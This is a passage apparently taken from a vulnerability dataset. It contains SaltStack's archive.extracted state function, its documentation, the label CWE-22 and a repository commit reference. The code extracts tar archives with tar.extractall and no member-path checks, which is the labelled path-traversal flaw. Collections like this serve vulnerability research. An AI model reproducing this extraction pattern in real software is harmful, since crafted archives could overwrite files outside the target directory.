                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached_source, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        source_match, source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      extract_perms=extract_perms,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse,
                                                          test=__opts__['test'])
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local and not keep:
        for path in (cached_source, __salt__['cp.is_cached'](source_match)):
            if not path:
                continue
            log.debug('Cleaning cached source file %s', path)
            try:
                os.remove(path)
            except OSError as exc:
                if exc.errno != errno.ENOENT:
                    log.error(
                        'Failed to clean cached source file %s: %s',
                        cached_source, exc.__str__()
                    )

    return ret",CWE-22,saltstack/salt,1f460da589e7883c6544adcc5b3002fc4c276a48,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
